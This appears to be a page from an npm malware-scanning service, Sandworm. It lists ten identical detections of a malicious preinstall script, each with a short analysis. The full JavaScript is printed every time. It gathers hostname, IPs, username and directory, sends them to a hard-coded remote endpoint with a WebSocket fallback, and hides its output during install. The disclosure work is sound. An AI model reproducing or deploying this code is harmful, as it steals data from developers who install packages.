Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code collects sensitive system information (such as the user's public IP, hostname, local IP, and user info) and sends it to a remote server specified in the endpoints array. This may expose users' private data to malicious actors, especially since the data is transmitted without encryption (for the GET requests) to potentially untrusted servers. Additionally, it has a fallback to WebSocket communication to send data if the HTTP requests fail, further complicating the detection of this malicious behavior.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, including the user's IP addresses and OS details, and sends it to remote servers without consent. This can lead to data theft and privacy violations. Additionally, it has a WebSocket fallback, allowing the transmission of data even if HTTP requests fail, which poses a further security risk.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The script collects and sends sensitive system information (like the public and local IP addresses, hostname, OS type, username, etc.) to potentially malicious endpoints without user consent. This can lead to privacy violations, unauthorized tracking, and exposure to attacks.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information including local and public IP addresses, hostname, OS details, and user information, and then sends this data to potentially malicious remote servers. This can lead to unauthorized access, data leakage, and privacy violations.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The script collects sensitive system information, including the user's IP addresses and username, and sends it to a remote server without user consent. This data exfiltration can lead to unauthorized access and privacy violations. Additionally, it demonstrates dependence on external endpoints for data transmission, which poses further security risks.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code collects sensitive system information (such as public IP, local IP, username, and OS details) and sends it to remote servers. The use of both HTTP GET and POST requests, as well as a WebSocket connection for data transmission, could expose the system to data breaches. Additionally, the random selection of endpoints increases the risk of communicating with potentially malicious servers.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information (like public IP, hostname, local IP, and username) and sends it to external servers without user consent. It does this via GET and POST requests for data exfiltration, posing a significant risk of privacy invasion and potential abuse by malicious actors.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information (such as public IP, local IP, hostname, and username) and sends it to remote servers without user consent. This poses a significant risk as it can be used to compromise user privacy and security.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, such as the public IP, hostname, and username, and sends it to external servers without the user's consent. This exfiltration of data is dangerous as it can be used for malicious purposes, including unauthorized access to user accounts or systems.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The script collects sensitive system information such as the user's public and local IP addresses, hostname, operating system details, and current directory, then sends it to external servers via HTTP and WebSocket. This can lead to unauthorized access to personal information and compromise user privacy, as it transmits potentially sensitive data without user consent.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}
12,009 vulnerabilities